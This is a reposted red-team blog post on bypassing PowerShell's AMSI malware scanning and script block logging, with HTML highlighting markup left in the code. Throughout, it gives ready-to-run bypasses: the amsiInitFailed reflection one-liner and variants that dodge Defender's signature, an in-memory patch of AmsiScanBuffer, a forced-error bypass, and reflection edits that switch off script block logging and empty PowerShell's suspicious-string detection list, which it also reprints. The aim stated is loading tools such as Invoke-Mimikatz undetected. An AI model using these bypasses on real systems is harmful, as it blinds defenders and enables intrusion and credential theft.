Exploring PowerShell AMSI and Logging Evasion

Картинки по запросу amsi powershell

( Original text by Adam Chester of MDSec’s ActiveBreach team )

By now, many of us know that during an engagement, AMSI (Antimalware Scripting Interface) can be used to trip up PowerShell scripts in an operators arsenal. Attempt to IEX Invoke-Mimikatz without taking care of AMSI, and it could be game over for your undetected campaign.
Before attempting to load a script, it has now become commonplace to run the following AMSI bypass:
[Ref].Assembly.GetType(<span class="hljs-string">'System.Management.Automation.AmsiUtils'</span>).GetField(<span class="hljs-string">'amsiInitFailed'</span>,<span class="hljs-string">'NonPublic,Static'</span>).SetValue($<span class="hljs-literal">null</span>,$<span class="hljs-literal">true</span>)
But have you ever wondered just how this magic command goes about unhooking AMSI?
In this post, we will walk through just how this technique works under the hood, then we will look at a few alternate ways to unhook AMSI from PowerShell. Finally we’ll review a relative newcomer to the blue-team arsenal, script block logging, how this works, and just how we can unhook this before it causes us any issues during an engagement.

AMSI Bypass – How it works

The earliest reference to this bypass technique that I can find is credited to Matt Graeber back in 2016:
To review just what this command is doing to unhook AMSI, let’s load the assembly responsible for managing PowerShell execution into a disassembler, “System.Management.Automation.dll”.
To start, we need to look at the “System.Management.Automation.AmsiUtils” class, where we find a number of static methods and properties. What we are interested in is the variable “amsiInitFailed”, which is defined as:
<span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">bool</span> amsiInitFailed = <span class="hljs-keyword">false</span>;
Note that this variable has the access modifier of “private”, meaning that it is not readily exposed from the AmsiUtils class. To update this variable, we need to use .NET reflection to assign a value of ‘true’, which is observed in the above bypass command.
So where is this variable used and why does it cause AMSI to be disabled? The answer can be found in the method “AmsiUtils.ScanContent”:
<span class="hljs-keyword">internal</span> <span class="hljs-keyword">unsafe</span> <span class="hljs-keyword">static</span> AmsiUtils.AmsiNativeMethods.<span class="hljs-function">AMSI_RESULT <span class="hljs-title">ScanContent</span><span class="hljs-params">(<span class="hljs-keyword">string</span> content, <span class="hljs-keyword">string</span> sourceMetadata)</span></span>
<span class="hljs-keyword">if</span> (<span class="hljs-keyword">string</span>.IsNullOrEmpty(sourceMetadata))
sourceMetadata = <span class="hljs-keyword">string</span>.Empty;
<span class="hljs-keyword">if</span> (InternalTestHooks.UseDebugAmsiImplementation &amp;&amp; content.IndexOf(<span class="hljs-string">"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"</span>, StringComparison.Ordinal) &gt;= <span class="hljs-number">0</span>)
<span class="hljs-keyword">return</span> AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED;
<span class="hljs-keyword">if</span> (AmsiUtils.amsiInitFailed)
<span class="hljs-keyword">return</span> AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
Here we can see that the “ScanContent” method is using the “amsiInitFailed” variable to determine if AMSI should scan the command to be executed. By setting this variable to “false”, what is returned is the following enumeration value:
This in turn causes any further checks within the code to be bypassed, neutering AMSI… pretty cool ????
Unfortunately for us as attackers, a recent Windows Defender update has blocked the AMSI bypass command, causing AMSI to trigger, blocking the AMSI bypass before we can unhook AMSI… meta:
Diving into Windows Defender with a debugger, we can actually find the signature being used to flag this this bypass:
This case insensitive match is applied by Defender to any command sent over via AMSI in search for commands attempting to unhook AMSI. It’s worth noting that there is no real parsing going on of the command’s context, for example, the following would also cause this rule to trigger:
<span class="hljs-keyword">echo</span>“amsiutils’).getfield(‘amsiinitfailed’,’nonpublic,<span class="hljs-keyword">static</span>’).setvalue(<span class="hljs-variable">$null</span>,<span class="hljs-variable">$true</span>)
Knowing this, we see how easy it is to bypass this signature, for example, we could do something like:
[Ref].Assembly.GetType(<span class="hljs-string">'System.Management.Automation.Am'</span>+<span class="hljs-string">'siUtils'</span>).GetField(<span class="hljs-string">'amsiInitFailed'</span>,<span class="hljs-string">'NonPublic,Static'</span>).SetValue($<span class="hljs-literal">null</span>,$<span class="hljs-literal">true</span>)
Or even just swap out single quotes for double quotes:
[Ref].Assembly.GetType(<span class="hljs-string">"System.Management.Automation.AmsiUtils"</span>).GetField(<span class="hljs-string">'amsiInitFailed'</span>,<span class="hljs-string">'NonPublic,Static'</span>).SetValue($<span class="hljs-literal">null</span>,$<span class="hljs-literal">true</span>)
So it turns out that this solution isn’t really a true restriction to operator’s who simply modify their command to bypass AMSI. What is interesting about this development however, is that there now seems to be a concerted effort to stop attackers from using a known command to bypass AMSI. I doubt that this will be the end to this cat-and-mouse game, so I wanted to take a further look at how AMSI is working in PowerShell, and see if we could identify any other interesting bypasses.

AMSI Bypass – Patching amsi.dll AmsiScanBuffer

One way that seemed an intuitive way of evading AMSI was to patch out exported functions from AMSI.dll, the library responsible for gluing together Defender and PowerShell. After starting down this road, I actually found that the technique was already presented by Tal Lieberman during his Blackhat talk “The Rise and Fall of AMSI”. This method shows an alternative approach to AMSI evasion, and we will cover the fundamentals here to give you an idea of just how this technique can be applied.
This method uses .NET’s interop functionality to patch “amsi.dll”’s exported function “AmsiScanBuffer”, which is invoked from PowerShell as a way to check if a command is malicious. By modifying the function body by injecting our own assembly code, we can create a small stub which will always return a code indicating that a command is non-malicious.
As the AMSI DLL is loaded into PowerShell’s address space during execution, we simply p/invoke the Win32 API’s to replace the function’s body with our new stub which will return before the command is scanned. Crafted, we have something like this:
<span class="hljs-variable">$win32</span> = @<span class="hljs-string">"</span>
<span class="hljs-string">using System.Runtime.InteropServices;</span>
<span class="hljs-string">using System;</span>
<span class="hljs-string">public class Win32 {</span>
<span class="hljs-string">[DllImport("</span>kernel32<span class="hljs-string">")]</span>
<span class="hljs-string">public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);</span>
<span class="hljs-string">[DllImport("</span>kernel32<span class="hljs-string">")]</span>
<span class="hljs-string">public static extern IntPtr LoadLibrary(string name);</span>
<span class="hljs-string">[DllImport("</span>kernel32<span class="hljs-string">")]</span>
<span class="hljs-string">public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect</span>
<span class="hljs-string">);</span>
<span class="hljs-string">}</span>
<span class="hljs-string">"</span>@
Add-Type <span class="hljs-variable">$win32</span>
<span class="hljs-variable">$ptr</span> = [W<span class="hljs-keyword">in</span>32]::GetProcAddress([W<span class="hljs-keyword">in</span>32]::LoadLibrary(<span class="hljs-string">"amsi.dll"</span>), <span class="hljs-string">"AmsiScanBuffer”)</span>
<span class="hljs-string"><span class="hljs-variable">$b</span> = 0</span>
<span class="hljs-string">[Win32]::VirtualProtect(<span class="hljs-variable">$ptr</span>, [UInt32]5, 0x40, [Ref]<span class="hljs-variable">$b</span>)</span>
<span class="hljs-string"><span class="hljs-variable">$buf</span> = New-Object Byte[] 7</span>
<span class="hljs-string"><span class="hljs-variable">$buf</span>[0] = 0x66; <span class="hljs-variable">$buf</span>[1] = 0xb8; <span class="hljs-variable">$buf</span>[2] = 0x01; <span class="hljs-variable">$buf</span>[3] = 0x00; <span class="hljs-variable">$buf</span>[4] = 0xc2; <span class="hljs-variable">$buf</span>[5] = 0x18; <span class="hljs-variable">$buf</span>[6] = 0x00;</span>
<span class="hljs-string">[System.Runtime.InteropServices.Marshal]::Copy(<span class="hljs-variable">$buf</span>, 0, <span class="hljs-variable">$ptr</span>, 7)</span>
Here we are simply grabbing the exported function using “GetProcAddress”, ensuring that we can write to the function body using “VirtualProtect” by marking the page as read/write/execute, and then using the “Copy” function to update the function with our new 7 byte stub.
When executed, the patched AmsiScanBuffer method looks like this:
Then if we attempt to load Invoke-Mimikatz:
Brilliant, no AMSI alerting or Defender showing up our script load.
The take-away from this technique, is that by having full access to the memory space of the process, it’s actually pretty difficult to stop the modification of functions which attempt to essentially report on their own malicious activity.
Now that we have a nice alternative technique to bypass AMSI, let’s try and find something a bit different which doesn’t involve the modification of unmanaged code.

AMSI Bypass – Forcing an error

We now know from the above test that Windows Defender is blocking based on signatures, and any attempt to reference “amsiInitFailed” is likely high on the agenda of endpoint security products given its prevalence. So how about we actually attempt to force a genuine error state, which should in turn set this flag for us?
After a bit of searching on a train journey to London, I found that it was actually trivial to force this error condition by controlling 2 variables used by the AMSI assembly, “amsiSession” and “amsiContext”.
Let’s first take a look first at the code which controls the setting of the “amsiInitFailed” flag within the “AmsiUtils.ScanContent” method:
<span class="hljs-keyword">int</span> hresult = <span class="hljs-number">0</span>;
<span class="hljs-keyword">if</span> (AmsiUtils.amsiContext == IntPtr.Zero)
hresult = AmsiUtils.Init();
<span class="hljs-keyword">if</span> (!Utils.Succeeded(hresult))
AmsiUtils.amsiInitFailed = <span class="hljs-keyword">true</span>;
<span class="hljs-keyword">return</span>;  AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
<span class="hljs-keyword">if</span> (AmsiUtils.amsiSession == IntPtr.Zero)
hresult = AmsiUtils.AmsiNativeMethods.AmsiOpenSession(AmsiUtils.amsiContext, <span class="hljs-keyword">ref</span>AmsiUtils.amsiSession);
AmsiUtils.AmsiInitialized = <span class="hljs-keyword">true</span>;
<span class="hljs-keyword">if</span> (!Utils.Succeeded(hresult))
AmsiUtils.amsiInitFailed = <span class="hljs-keyword">true</span>;
<span class="hljs-keyword">return</span> AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
Here we see 2 conditions which could result in this flag being set legitimately… that is if either “AmsiUtils.Init()” or “AmsiUtils.AmsiNativeMethods.AmsiOpenSession(…)” were to fail. We will focus on “AmsiOpenSession” for the purposes of this post, which is a native function exported from “amsi.dll”.
Let’s look at a disassembly of this function to see what is happening when it’s called by PowerShell:
Interestingly, we see that if we can get “AmsiOpenSession(…)” to be invoked with an “amsiContext” pointer which does not contain a 4 byte value of “AMSI” at offset 0x00, an error will be returned from the function of 0x80070057 (or E_INVALIDARG). When this error is returned back to PowerShell, “Utils.Succeeded(…)” will fail and “amsiInitFailed” will be set for us.
So how can we force this condition? To do this we will need to follow a few steps:
  1. Allocate a region of unmanaged memory which will be used as our fake “amsiContext”.
  2. Assign this allocated memory to the variable “amsiContext”.
  3. Set “amsiSession” to $null which will force the “AmsiOpenSession(..)” amsi.dll method, passing our controlled amsiContext memory region, and result in an error being returned.
Collated, we have the following command sequence:
<span class="hljs-variable">$mem</span> = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(<span class="hljs-number">9076</span>)[Ref].Assembly.GetType(<span class="hljs-string">"System.Management.Automation.AmsiUtils"</span>).GetField(<span class="hljs-string">"amsiSession"</span>,<span class="hljs-string">"NonPublic,Static"</span>).SetValue(<span class="hljs-variable">$null</span>, <span class="hljs-variable">$null</span>);[Ref].Assembly.GetType(<span class="hljs-string">"System.Management.Automation.AmsiUtils"</span>).GetField(<span class="hljs-string">"amsiContext"</span>,<span class="hljs-string">"NonPublic,Static"</span>).SetValue(<span class="hljs-variable">$null</span>, [IntPtr]<span class="hljs-variable">$mem</span>)
Executing this snippet, and attaching a debugger to Powershell.exe, we can see the expected error code being returned:
Now if we check for “amsiInitFailed”, we can see that this value has now been set:
And we can now try to load Invoke-Mimikatz:
Awesome, another way to get around AMSI.
Hopefully what you are seeing here is that although AMSI is a pretty good speed bump, if we understand just how the technology works in the background, we actually see that it is trivial to disable during a campaign.
Now that we have an idea of just how to find these kinds of bypasses, let’s turn our attention to another area of PowerShell security which may cause some issues during an engagement, PowerShell script block logging.

PowerShell Script Block Logging

If you haven’t yet come across this functionality yet, I recommend checking out this introduction post from Microsoft which covers the introduced logging support during PowerShell v5.
Essentially, script block logging gives blue-team the option to enable auditing of scripts being executed within PowerShell. Whilst this has obvious advantages, the huge benefit of this method is the ability to unpack obfuscated scripts into a readable form. For example, if we invoke an obfuscated command passed through Invoke-Obfuscate:
We see that our activity is logged using the decoded and deobfuscated PowerShell command:
Feed this into a log correlation tool, and the SOC has a brilliant way of logging and identifying malicious activity across a network.
So how as the red-team do we get around this? Let’s first take a look at the implementation of Powershell logging under the hood and find out.
To begin, we need to again disassemble the System.Management.Automation.dll assembly and search for the point at which script logging has been enabled.
If we review “ScriptBlock.ScriptBlockLoggingExplicitlyDisabled”, we see:
<span class="hljs-function"><span class="hljs-keyword">internal</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">bool</span> <span class="hljs-title">ScriptBlockLoggingExplicitlyDisabled</span><span class="hljs-params">()</span></span>
Dictionary&lt;<span class="hljs-keyword">string</span>, <span class="hljs-keyword">object</span>&gt; groupPolicySetting = Utils.GetGroupPolicySetting(<span class="hljs-string">"ScriptBlockLogging"</span>, Utils.RegLocalMachineThenCurrentUser);
<span class="hljs-keyword">object</span> obj;
<span class="hljs-keyword">return</span> groupPolicySetting != <span class="hljs-keyword">null</span> &amp;&amp; groupPolicySetting.TryGetValue(<span class="hljs-string">"EnableScriptBlockLogging"</span>, <span class="hljs-keyword">out</span> obj) &amp;&amp; <span class="hljs-keyword">string</span>.Equals(<span class="hljs-string">"0"</span>, obj.ToString(), StringComparison.OrdinalIgnoreCase);
This looks like a good place to start given our knowledge of how script block logging is rolled out. Here we find that the setting to enable or disable script logging is returned from the method “Utils.GetGroupPolicySetting(…)”. Digging into this method, we see:
<span class="hljs-keyword">internal</span> <span class="hljs-keyword">static</span> Dictionary&lt;<span class="hljs-keyword">string</span>, <span class="hljs-keyword">object</span>&gt; GetGroupPolicySetting(<span class="hljs-keyword">string</span>settingName, RegistryKey[] preferenceOrder)
<span class="hljs-keyword">return</span>Utils.GetGroupPolicySetting(<span class="hljs-string">"Software\\Policies\\Microsoft\\Windows\\PowerShell"</span>, settingName, preferenceOrder);
Contained here we have a further call which provides the registry key path and the setting we want to grab, which is passed to:
<span class="hljs-keyword">internal</span> <span class="hljs-keyword">static</span> Dictionary&lt;<span class="hljs-keyword">string</span>, <span class="hljs-keyword">object</span>&gt; GetGroupPolicySetting(<span class="hljs-keyword">string</span>groupPolicyBase, <span class="hljs-keyword">string</span> settingName, RegistryKey[] preferenceOrder)
ConcurrentDictionary&lt;<span class="hljs-keyword">string</span>, Dictionary&lt;<span class="hljs-keyword">string</span>, <span class="hljs-keyword">object</span>&gt;&gt; obj = Utils.cachedGroupPolicySettings;
<span class="hljs-keyword">if</span> (!InternalTestHooks.BypassGroupPolicyCaching &amp;&amp; Utils.cachedGroupPolicySettings.TryGetValue(key, <span class="hljs-keyword">out</span> dictionary))
<span class="hljs-keyword">return</span> dictionary;
And here we see a reference to the property “Utils.cachedGroupPolicySettings”. This ConcurrentDictionary<T> is used to store a cached version of the registry settings which enable / disable logging (as well as a variety of other PowerShell auditing features), presumably to increase performance during runtime rather than attempting to look up this value from the registry each time a command is executed.
Now that we understand just where these preferences are held during runtime, let’s move onto how we go about disabling this logging.

PowerShell script block logging – Bypass

We have seen that “cachedGroupPolicySettings” will be the likely target of our modification. The theory is that by manipulating the contents of “cachedGroupPolicySettings”, we should be able to trick PowerShell into believing that the registry key which was cached disables logging. This of course also has the benefit that we will never touch the actual registry value.
To update this dictionary within PowerShell, we can again turn to reflection. The “cachedGroupPolicySettings” dictionary key will need to be set to the registry key path where the PowerShell script blog logging functionality is configured, which in our case is “HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”. The value will be a Dictionary<string,object> object pointing to our modified configuration value, which will be “EnableScriptBlockLogging” set to “0”.
Put together, we have a snippet that looks like this:
<span class="hljs-variable">$settings</span> = [Ref].Assembly.GetType(<span class="hljs-string">"System.Management.Automation.Utils"</span>).GetField(<span class="hljs-string">"cachedGroupPolicySettings"</span>,<span class="hljs-string">"NonPublic,Static"</span>).GetValue(<span class="hljs-variable">$null</span>);
<span class="hljs-variable">$settings</span>[<span class="hljs-string">"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"</span>] = @{}
<span class="hljs-variable">$settings</span>[<span class="hljs-string">"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"</span>].Add(<span class="hljs-string">"EnableScriptBlockLogging"</span>, <span class="hljs-string">"0"</span>)
And this is all it actually takes to ensure that events are no longer recorded:
It is important to note that as script block logging is enabled up until this point, this command will end up in the log. I will leave the exercise of finding a workaround to this to the reader.
While looking to see if this technique was already known, I actually came across a pull request in the Empire framework adding this functionality, courtesy of @cobbr_io.
This was later merged into Empire, which means that if you want to avoid PowerShell script block logging, the Empire framework already has you covered.
So, what about if we are operating in an environment in which script block logging has not been configured, we should be good to go right?… Unfortunately, no.

PowerShell Logging – Suspicious Strings

If we continue digging in PowerShell’s logging code, eventually we come to a method named “ScriptBlock.CheckSuspiciousContent”:
<span class="hljs-function"><span class="hljs-keyword">internal</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">string</span> <span class="hljs-title">CheckSuspiciousContent</span><span class="hljs-params">(Ast scriptBlockAst)</span></span>
IEnumerable&lt;<span class="hljs-keyword">string</span>&gt; source = ScriptBlock.TokenizeWordElements(scriptBlockAst.Extent.Text);
ParallelOptions parallelOptions = <span class="hljs-keyword">new</span> ParallelOptions();
<span class="hljs-keyword">string</span> foundSignature = <span class="hljs-keyword">null</span>;
Parallel.ForEach&lt;<span class="hljs-keyword">string</span>&gt;(source, parallelOptions, <span class="hljs-keyword">delegate</span>(<span class="hljs-keyword">string</span> element, ParallelLoopState loopState)
<span class="hljs-keyword">if</span> (foundSignature == <span class="hljs-keyword">null</span> &amp;&amp; ScriptBlock.signatures.Contains(element))
foundSignature = element;
<span class="hljs-keyword">if</span> (!<span class="hljs-keyword">string</span>.IsNullOrEmpty(foundSignature))
<span class="hljs-keyword">return</span> foundSignature;
<span class="hljs-keyword">if</span> (!scriptBlockAst.HasSuspiciousContent)
<span class="hljs-keyword">return</span> <span class="hljs-keyword">null</span>;
Ast ast2 = scriptBlockAst.Find((Ast ast) =&gt; !ast.HasSuspiciousContent &amp;&amp; ast.Parent.HasSuspiciousContent, <span class="hljs-keyword">true</span>);
<span class="hljs-keyword">if</span> (ast2 != <span class="hljs-keyword">null</span>)
<span class="hljs-keyword">return</span> ast2.Parent.Extent.Text;
<span class="hljs-keyword">return</span> scriptBlockAst.Extent.Text;
Here we have a method which will iterate through a provided script block, and attempt to assess if its execution should be marked as suspicious or not. Let’s have a look at the list of signatures which can be found in the variable “Scriptblock.signatures”:
<span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> HashSet&lt;<span class="hljs-built_in">string</span>&gt; signatures = <span class="hljs-keyword">new</span> HashSet&lt;<span class="hljs-built_in">string</span>&gt;(StringComparer.OrdinalIgnoreCase)
<span class="hljs-string">"Add-Type"</span>,
<span class="hljs-string">"DllImport"</span>,
<span class="hljs-string">"DefineDynamicAssembly"</span>,
<span class="hljs-string">"DefineDynamicModule"</span>,
<span class="hljs-string">"DefineType"</span>,
<span class="hljs-string">"DefineConstructor"</span>,
<span class="hljs-string">"CreateType"</span>,
<span class="hljs-string">"DefineLiteral"</span>,
<span class="hljs-string">"DefineEnum"</span>,
<span class="hljs-string">"DefineField"</span>,
<span class="hljs-string">"ILGenerator"</span>,
<span class="hljs-string">"Emit"</span>,
<span class="hljs-string">"UnverifiableCodeAttribute"</span>,
<span class="hljs-string">"DefinePInvokeMethod"</span>,
<span class="hljs-string">"GetTypes"</span>,
<span class="hljs-string">"GetAssemblies"</span>,
<span class="hljs-string">"Methods"</span>,
<span class="hljs-string">"Properties"</span>,
<span class="hljs-string">"GetConstructor"</span>,
<span class="hljs-string">"GetConstructors"</span>,
<span class="hljs-string">"GetDefaultMembers"</span>,
<span class="hljs-string">"GetEvent"</span>,
<span class="hljs-string">"GetEvents"</span>,
<span class="hljs-string">"GetField"</span>,
<span class="hljs-string">"GetFields"</span>,
<span class="hljs-string">"GetInterface"</span>,
<span class="hljs-string">"GetInterfaceMap"</span>,
<span class="hljs-string">"GetInterfaces"</span>,
<span class="hljs-string">"GetMember"</span>,
<span class="hljs-string">"GetMembers"</span>,
<span class="hljs-string">"GetMethod"</span>,
<span class="hljs-string">"GetMethods"</span>,
<span class="hljs-string">"GetNestedType"</span>,
<span class="hljs-string">"GetNestedTypes"</span>,
<span class="hljs-string">"GetProperties"</span>,
<span class="hljs-string">"GetProperty"</span>,
<span class="hljs-string">"InvokeMember"</span>,
<span class="hljs-string">"MakeArrayType"</span>,
<span class="hljs-string">"MakeByRefType"</span>,
<span class="hljs-string">"MakeGenericType"</span>,
<span class="hljs-string">"MakePointerType"</span>,
<span class="hljs-string">"DeclaringMethod"</span>,
<span class="hljs-string">"DeclaringType"</span>,
<span class="hljs-string">"ReflectedType"</span>,
<span class="hljs-string">"TypeHandle"</span>,
<span class="hljs-string">"TypeInitializer"</span>,
<span class="hljs-string">"UnderlyingSystemType"</span>,
<span class="hljs-string">"InteropServices"</span>,
<span class="hljs-string">"Marshal"</span>,
<span class="hljs-string">"AllocHGlobal"</span>,
<span class="hljs-string">"PtrToStructure"</span>,
<span class="hljs-string">"StructureToPtr"</span>,
<span class="hljs-string">"FreeHGlobal"</span>,
<span class="hljs-string">"IntPtr"</span>,
<span class="hljs-string">"MemoryStream"</span>,
<span class="hljs-string">"DeflateStream"</span>,
<span class="hljs-string">"FromBase64String"</span>,
<span class="hljs-string">"EncodedCommand"</span>,
<span class="hljs-string">"Bypass"</span>,
<span class="hljs-string">"ToBase64String"</span>,
<span class="hljs-string">"ExpandString"</span>,
<span class="hljs-string">"GetPowerShell"</span>,
<span class="hljs-string">"OpenProcess"</span>,
<span class="hljs-string">"VirtualAlloc"</span>,
<span class="hljs-string">"VirtualFree"</span>,
<span class="hljs-string">"WriteProcessMemory"</span>,
<span class="hljs-string">"CreateUserThread"</span>,
<span class="hljs-string">"CloseHandle"</span>,
<span class="hljs-string">"GetDelegateForFunctionPointer"</span>,
<span class="hljs-string">"kernel32"</span>,
<span class="hljs-string">"CreateThread"</span>,
<span class="hljs-string">"memcpy"</span>,
<span class="hljs-string">"LoadLibrary"</span>,
<span class="hljs-string">"GetModuleHandle"</span>,
<span class="hljs-string">"GetProcAddress"</span>,
<span class="hljs-string">"VirtualProtect"</span>,
<span class="hljs-string">"FreeLibrary"</span>,
<span class="hljs-string">"ReadProcessMemory"</span>,
<span class="hljs-string">"CreateRemoteThread"</span>,
<span class="hljs-string">"AdjustTokenPrivileges"</span>,
<span class="hljs-string">"WriteByte"</span>,
<span class="hljs-string">"WriteInt32"</span>,
<span class="hljs-string">"OpenThreadToken"</span>,
<span class="hljs-string">"PtrToString"</span>,
<span class="hljs-string">"FreeHGlobal"</span>,
<span class="hljs-string">"ZeroFreeGlobalAllocUnicode"</span>,
<span class="hljs-string">"OpenProcessToken"</span>,
<span class="hljs-string">"GetTokenInformation"</span>,
<span class="hljs-string">"SetThreadToken"</span>,
<span class="hljs-string">"ImpersonateLoggedOnUser"</span>,
<span class="hljs-string">"RevertToSelf"</span>,
<span class="hljs-string">"GetLogonSessionData"</span>,
<span class="hljs-string">"CreateProcessWithToken"</span>,
<span class="hljs-string">"DuplicateTokenEx"</span>,
<span class="hljs-string">"OpenWindowStation"</span>,
<span class="hljs-string">"OpenDesktop"</span>,
<span class="hljs-string">"MiniDumpWriteDump"</span>,
<span class="hljs-string">"AddSecurityPackage"</span>,
<span class="hljs-string">"EnumerateSecurityPackages"</span>,
<span class="hljs-string">"GetProcessHandle"</span>,
<span class="hljs-string">"DangerousGetHandle"</span>,
<span class="hljs-string">"CryptoServiceProvider"</span>,
<span class="hljs-string">"Cryptography"</span>,
<span class="hljs-string">"RijndaelManaged"</span>,
<span class="hljs-string">"SHA1Managed"</span>,
<span class="hljs-string">"CryptoStream"</span>,
<span class="hljs-string">"CreateEncryptor"</span>,
<span class="hljs-string">"CreateDecryptor"</span>,
<span class="hljs-string">"TransformFinalBlock"</span>,
<span class="hljs-string">"DeviceIoControl"</span>,
<span class="hljs-string">"SetInformationProcess"</span>,
<span class="hljs-string">"PasswordDeriveBytes"</span>,
<span class="hljs-string">"GetAsyncKeyState"</span>,
<span class="hljs-string">"GetKeyboardState"</span>,
<span class="hljs-string">"GetForegroundWindow"</span>,
<span class="hljs-string">"BindingFlags"</span>,
<span class="hljs-string">"NonPublic"</span>,
<span class="hljs-string">"ScriptBlockLogging"</span>,
<span class="hljs-string">"LogPipelineExecutionDetails"</span>,
<span class="hljs-string">"ProtectedEventLogging"</span>
What this means is that if your command contains any of the above strings an event will be logged, even if no script block logging has been configured. For example, if we execute a command which matches a suspicious signature on an environment not configured with logging, such as:
Write-Host “I wouldn’t want to <span class="hljs-operator"><span class="hljs-keyword">call</span> DeviceIoControl here”</span>
We see that the token “DeviceIoControl” is identified as suspicious and our full command is added to the Event Log:
So how do we go about evading this? Let’s see how our suspicious command is handled by PowerShell:
<span class="hljs-function"><span class="hljs-keyword">internal</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">LogScriptBlockStart</span><span class="hljs-params">(ScriptBlock scriptBlock, Guid runspaceId)</span></span>
<span class="hljs-keyword">bool</span> force = <span class="hljs-keyword">false</span>;
<span class="hljs-keyword">if</span> (scriptBlock._scriptBlockData.HasSuspiciousContent)
force = <span class="hljs-keyword">true</span>;
ScriptBlock.LogScriptBlockCreation(scriptBlock, force);
<span class="hljs-keyword">if</span>(ScriptBlock.ShouldLogScriptBlockActivity(<span class="hljs-string">"EnableScriptBlockInvocationLogging"</span>))
PSEtwLog.LogOperationalVerbose(PSEventId.ScriptBlock_Invoke_Start_Detail, PSOpcode.Create, <a href="http://pstask.commandstart/">PSTask.CommandStart</a>, PSKeyword.UseAlwaysAnalytic, <span class="hljs-keyword">new</span><span class="hljs-keyword">object</span>[]
Here we can see that the “force” local variable is set depending on if our command is detected as suspicious or not. This is then passed to “ScriptBlock.LogScriptBlockCreation(…)” to force logging:
<span class="hljs-function"><span class="hljs-keyword">internal</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">LogScriptBlockCreation</span><span class="hljs-params">(ScriptBlock scriptBlock, <span class="hljs-keyword">bool</span>force)</span></span>
<span class="hljs-keyword">if</span> ((force || ScriptBlock.ShouldLogScriptBlockActivity(<span class="hljs-string">"EnableScriptBlockLogging"</span>)) &amp;&amp; (!scriptBlock.HasLogged || InternalTestHooks.ForceScriptBlockLogging))
<span class="hljs-keyword">if</span> (ScriptBlock.ScriptBlockLoggingExplicitlyDisabled() || scriptBlock.ScriptBlockData.IsProductCode)
<span class="hljs-keyword">return</span>;
Above we can see that the decision to log is based on the “force” parameter, however we are able to exit this method without logging if the “ScriptBlock.ScriptBlockLoggingExplicitlyDisabled()” method returns true.
As we know from the above walkthrough, we already control how this method returns, meaning that we can repurpose our existing script block logging bypass to ensure that any suspicious strings are also not logged.
There is a second bypass here however that we can use when operating in an environment with only this kind of implicit logging. Remember that list of suspicious strings… how about we just truncate that list, meaning that no signatures will match?
Using a bit of reflection, we can use the following command to do this:
[Ref].Assembly.GetType(<span class="hljs-string">"System.Management.Automation.ScriptBlock"</span>).GetField(<span class="hljs-string">"signatures"</span>,<span class="hljs-string">"NonPublic,static"</span>).SetValue($<span class="hljs-literal">null</span>, (New-<span class="hljs-built_in">Object</span><span class="hljs-string">'System.Collections.Generic.HashSet[string]'</span>))
Here we set the “signatures” variable with a new empty hashset, meaning that the “force” parameter will never be true, bypassing logging:
Hopefully this post has demonstrated a few alternative ways of protecting your operational security when using your script arsenal. As we continue to see endpoint security solutions focusing on PowerShell, I believe that ensuring we know just how these security protections work will not only improve our attempts to avoid detection during an engagement, but also help defenders to understand the benefits and limitations to monitoring PowerShell.
РубрикиБез рубрики

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *